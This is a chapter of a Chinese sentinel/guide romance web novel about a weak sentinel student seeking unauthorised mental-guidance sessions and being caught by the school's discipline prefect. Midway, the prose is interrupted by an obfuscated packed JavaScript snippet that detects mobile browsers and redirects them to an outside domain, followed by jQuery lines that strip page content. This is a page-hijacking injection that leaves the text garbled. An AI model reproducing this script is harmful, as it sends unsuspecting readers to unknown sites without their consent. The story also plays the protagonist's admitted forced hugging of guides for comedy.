1. 私下疏导

酒时感觉自己快死了。


脑袋就像一台过度运转、濒临崩溃的机器,嗡嗡作响。


她迫切地需要一次完美的精神疏导。


然而,事与愿违。


“关于你提交的精神疏导申请,我驳回。”


天启学院哨兵分院的高级教师米洛,此刻坐在她面前的办公桌,毫不留情地拒绝了她。


米洛是个两鬓泛白、严肃坚毅的中年上将,他穿着一套略显陈旧的黑色哨兵制服,金光闪闪的肩章很厚,彰显着白塔哨兵的最高荣耀。


那张决定命运的薄纸飘在桌上,签字栏一片空白。


酒时慌了:“为什么?”


“这个月你已经申请了五次精神疏导。”米洛说着,开始疲倦地摩挲他的两道英眉,露出为难的神色,“今天才12号,剩下两次机会你要我怎么给你?”


“老师,我情况特殊,您又不是不知道,通融一下吧……”


酒时两眼一闭,开始卖惨:“我知道……”抽噎两声,“我比不上您心里的那些心肝宝贝,我天赋差,不知上进,还总要麻烦你们,浪费学院的资源,可这也不是我的本意,实在是力所不能及,学院当初接收的我的时候,早该想到会有这种局面的……”


她抹掉两滴假惺惺的眼泪,睁开眼。


米洛上将维持着按压太阳穴的姿势,耐心地等她说完那些陈词滥调,才幽幽开口:


“我看你妙语连珠、出口成章,理智逻辑通通在线,精神海想必也乱不到哪里去,那就还能忍两天。”


两天?


那可不行!


“老师,我头好痛啊。”酒时捂着脑袋,另一只手颤颤巍巍地撑着办公桌,随时要晕倒,“我,我真的快不行了,向导、向导……”气虚得不行。


米洛推开椅子,压迫性的身高让她咽下口水。


“演,接着演啊。”


酒时立马乖巧,往后撤。


笔挺的军靴踩过木质地板,一下又一下,清脆而尖锐,“这里是天启学院,是为白塔输送人才的基地,优胜劣汰才是这里的终极法则,你能进到这里已经是莫大的奇迹,学院有义务照顾你那毫无价值的精神海吗?”


他将酒时逼到门口,希望她拥有自知之明,赶紧夹着尾巴离开。


“当然啦!”酒时可没有自知之明,她只想要活着。


米洛噎住,只能主动将她“请”出去。


“有的时候,我都在怀疑,你是不是接着疏导的由头,勾搭向导?”


“怎么会呢!老师您听我说!”酒时手扒着门框,脚上也不耽误,使劲儿增大和地面的摩擦力,给米洛的推搡额外添了点阻力。


“我脑子里现在正刮着海啸呐,马上海底的火山都要喷发了,您快给我安排个向导吧。”


她极力证明自己正在遭受痛苦,连比喻、夸张的修辞都用上了,可米洛居然还是一副铁石心肠。


一米九的双开门站在她面前,覆住一切光源,带来天然的威压,酒时吞咽口水,制服后领就被拽住,往上提溜。


双脚离地三秒后,她眼前的景象就变成了走廊。


“精神海不到世界末日的程度,别来找我。”米洛冷声警告,收回壮硕如石头的手臂。


酒时小鸡啄米般地点头,什么也不敢说了。


拳头和拳头,还是有差别的。


正规途径行不通,那就只能走私下……


“少打那群向导们的主意,把那些心思花在学业上,也不至于常年垫底。”


他用温热的唇,吐出冰冷的字眼,誓要将“铁面无私”贯彻到底。


一阵凉风钻入心扉,酒时捂着心口,“真是令人……”寒心。


“砰!”


“寒心”二字只能咽回肚里。


酒时发出一声长长的悲叹,蹒跚地后退几步,苍白的小脸上突然冒出汗珠。她五指伸进发间,丧气地摇晃着昏胀的脑袋,浑身战栗。


精神海里又开始狂风乱作了。


酒时是一只百年难遇的低等级的哨兵,身体素质奇差无比,精神力屏障更是稀碎。自从她十八岁觉醒为进化者后,这些呼啦呼啦的风就没放过她,隔三岔五就在她的精神海里兴风作浪,需要向导的干预治疗才能有所缓解。


可由于向导数量稀少,不论什么等级都会被招入白塔,为白塔哨兵提供治疗服务,只有少部分机构的公共向导会对白塔外的低等级哨兵提供服务,频次少得可怜,名额全靠抢。


这样下去,酒时早晚会被精神折磨死。


她老爹急得团团转,真怕她这颗独苗横死在家中,找了各种歪门邪道,总算钻研出了一个偏门法子。


天启学院作为向白塔输送人才的教育基地,有着丰厚的向导预备役资源,对于未成熟的哨兵十分友好。要是能进去,那就不愁没有向导给她做精神疏导。


按理来说,以她的资质根本进不了联邦最好的向哨学院。


好在她老爹有钞能力,连续砸了三年的钱,捐了三栋楼,才把废物的她塞了进来。


老爹也不指望她在毕业考核中拿到好成绩,进入白塔,就是希望她能实现精神疏导自由,不用等一个月一次的“叫号”。


现在是好了点,一个月七次。


但完全不够。


酒时扶着昏胀的脑袋,去校医院的老向导那里搞了一大袋向导素,准备把这两天熬过去。


刚出老校医的门,星环就来了消息:


【小狸猫:这两天恨忙吗?】


酒时反应了半天,才把备注和脑海里的人对上。


这是上个礼拜公开课认识的小向导,白白净净,特别可爱的一个男孩子。他的精神体是只小奶猫,经常喵喵叫个不停,爱蹭人手掌。


她没忍住诱|惑,当场就要了人家的联系方式,从下课一直热聊到凌晨,天蒙蒙亮才睡去,结果一点进展也没有。


自那之后,她就没再找过,难不成还有反转?


酒时叼着手里的塑料袋,双手回复消息,快到晃出了残影:


【酒:是啊,最近训练课好多,有点累了】


她打上了撒娇的波浪号,又觉得实在违心,狠心删除,点击发送。


小狸猫回得超快:【我听说哨兵学院的特训课超级变态,你能挺下来就很棒啦~】


【夸我也不怕我翘尾巴?】


【诶?那样的话我可以摸摸尾巴吗?】


酒时一想到他软糯的语气,心脏都快融化成水。


可爱的男向导可是稀缺资源!


突然,脑袋深处传来一阵钝痛,旖旎心思全都散了。


他们又聊了点有的没的,酒时脑袋越来越疼,不得不拆了两剂向导素,把疼痛压下去。


【小狸猫:最近学了几种提高治愈效果的方式,我没有特别熟的哨兵,想来想去也只有你了,有兴趣试一试吗?】


送上门的治疗,酒时心痒了。


**


黑布隆冬的夜,一条瘦长的身影翻过围墙,趔趄一下,勉强帅气落地。


酒时手腕上的星环一闪一闪,预示着即将到达约定地点。


“喵~”


灌木丛里传来一阵微弱的猫叫。


酒时心中了然,也学着回了一声“喵呜。”


果然,一个清秀斯文的男生探出脑袋,笑眯着眼,星光闪闪的,好看极了。


酒时猫着腰钻了过去。


“怎么约这里,怪危险的。”她望着小狸猫的脸,心里发慌。


“你敢来,才能彰显你的诚意呀~”


语气娇俏,一击砸中她的心巴上。


“我这下来了,算有诚意吧,是不是该给点奖励?”


她嘴上撩拨不停,手上却不敢有小动作,规矩地缩在后背,生怕轻薄了对方,让到手的精神疏导飞了。


“要不是我找你,你怕是早就将我抛到脑后去了。”


“怎么会!……”


“那我叫什么,你还记得吗?”


“呃……”


死脑子,快想啊。


酒时笑容险些维持不住,“当然,当然记得了……”


“那你喊我名字好嘛?我想听。”</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004572|161926||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


她抵不住娇气的猫儿,可奈何脑子不中用,平白丢了这么好的升温机会。


酒时心虚地咳了两声:“这里不安全,容易被发现,咱们要不抓紧开始?你接受牵手,还是拥抱?”她还期待着呢。


“不要脸!”


眨眼,温柔可人的小猫变了脸。


酒时懵了,这算打情骂俏吗?


看着不像啊。


“我不叫你名字,你就生气啦?”她笑。


小狸猫只是冷冷地看着她,酒时的笑容冻在嘴角,不自然地下滑。


紧接着,控诉就来了:


“上个月,你是不是强迫了一个向导,让他给你做精神疏导,结果隔天,你就在公共课上和我搭讪。”小狸猫气势汹汹,瞪着水光大眼,似是恨极了她:“你把人家的心伤透了,居然还和没事儿人一样,你有点良心吗!”


“呃……你说的是哪一个?”


太多了,酒时根本记不过来。


“呸!渣滓!”


酒时点点头承认,根本无法反驳,难受得快死掉的时候,她确实会随便拽一个向导,强行拥抱。


“做精神疏导!你做梦!”小狸猫更气了。


闹出的动静传出二里地,酒时吓得要去捂嘴。


他恶狠狠地剜她,逼的她收回手,只能放在唇边比作嘘声。


她冷汗直流:“小点声,要是被发现了,又得要吃处分……”


哨兵和向导私下疏导是被静止的,必须要向学院打申请,通过后安排进入特殊治疗室开展治疗。


她私下也就敢拉拉小手,混两个熊抱,整点简单的肢体接触,让脑子里的风暴消停会儿,捱到正式精神疏导的那一天,那个时候她才能接受精神触须的安抚。


这“私下渠道”完全是擦着警戒线走的,她哪儿敢不慌。


眼下的场景被人逮住了,有理也说不清。


对面的小狸猫拿捏住她的心思,忽然面露慌张,高呼求救:“不,不要,你,你别过来啊……!”


酒时:“??”


这整的又是哪一出?


“你们在干什么?”


随着身后响起的男音,酒时心脏骤停。


她僵硬转头。


清冷的月光下,一道白衣翩翩的高挑身影穿过树影,逆光走来。


向导学院的制服,酒时认得,面前这件显然不是,只是一件昂贵的白色真丝睡袍。


她松了一口气,“吓死我了,还以为是那个古板扫兴的风纪委员。”


对面不吭声,直到月光掩不住他的面容,酒时才真正看清了那个不染纤尘的男人。


怎么说曹操,曹操到。


酒时后知后觉地捏住不懂事的嘴唇,扯了个比哭还难看的笑。


清冷的月光洒下,颀长的身影宛若圣光中的雪莲,纯白耀眼,只可远观,不可亵玩。


郁闻安看着眼前的“惯犯”,吐出的字比冰碴还刺人:


“根据校规第十一条,未经学院批准,私下进行精神疏导,视情况而论……”


酒时挡在小狸猫面前,主动和郁闻安攀关系,“哎呀大家都是同学一场吗,规定是死的,人是活的,看在我们两情相悦的份儿上,您大人有大量,通融一下呗。”


身后的小狸猫一脸贞洁烈夫相,不像是“两情相悦”。


她看不着,一门心思对着郁闻安挤眉弄眼,自以为是地施展魅力。


郁闻安喜怒向来不表现在面上,此时表情也有些龟裂:


“鉴于哨兵酒时情节恶劣严重,记过。”


“别别别,我错了……”


清冷俊丽的面容不容侵犯,保持着难以跨越的距离感。


他身姿笔直,双手规矩垂在身侧,每一步都精准得如同丈量。那副金丝眼镜后的目光,透着认真与刻板。


酒时不要脸,轻而易举地跨了过去。


她抓着他的制服袖子,抓出了褶皱:“风纪委员大人,看在我行事未遂的份儿上,警告一下,警告一下就行了。”她是真急了,忘记了人家讨厌动手动脚的毛病。